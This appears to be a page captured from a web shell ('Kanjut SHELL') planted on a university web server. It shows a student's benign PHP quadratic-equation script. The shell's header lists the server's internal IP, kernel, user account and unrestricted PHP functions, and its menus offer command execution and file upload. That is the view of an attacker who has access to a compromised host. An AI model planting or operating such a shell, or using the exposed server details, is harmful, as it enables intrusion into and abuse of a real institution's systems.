Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 3.144.17.181
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/ipjoslyn/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/ipjoslyn/public_html/QuadraticEquation.php
<!-- 
	File: QuadraticEquation.php
	Author: Ian Joslyn
	Goal: Take input from html file and compute roots.
	Due: Feb. 13, 2022
-->

<CENTER>

<H1> Results </H1>

<HR>

<?php

#Get Variables from html 
	$a = $_POST['a'];
	$b = $_POST['b'];
	$c = $_POST['c'];


#Calculate the disc
$d = pow($b, 2.0)-4.0*$a*$c;

#Calculate and display the roots to two decimal places
if ($d>0)
{
	$x1 = (-$b+sqrt($d))/(2.0*$a);
	$x1 = number_format($x1, 2);
	$x2 = (-$b-sqrt($d))/(2.0*$a);
	$x2 = number_format($x2, 2);
	print("Roots: $x1, $x2");
}
else if ($d==0)
{
	$x1 = (-$b+sqrt($d))/(2.0*$a);
	$x1 = number_format($x1, 2);
	print("Root: $x1");  
}
else
	print("No Root");

?>

<P><P>
<A HREF=https://zeus.vwu.edu/~ipjoslyn/QuadraticEquation.html> Back </A>
&emsp; <A HREF=https://zeus.vwu.edu/~ipjoslyn/> Home </A>
</CENTER>

Stv3n404 - 2023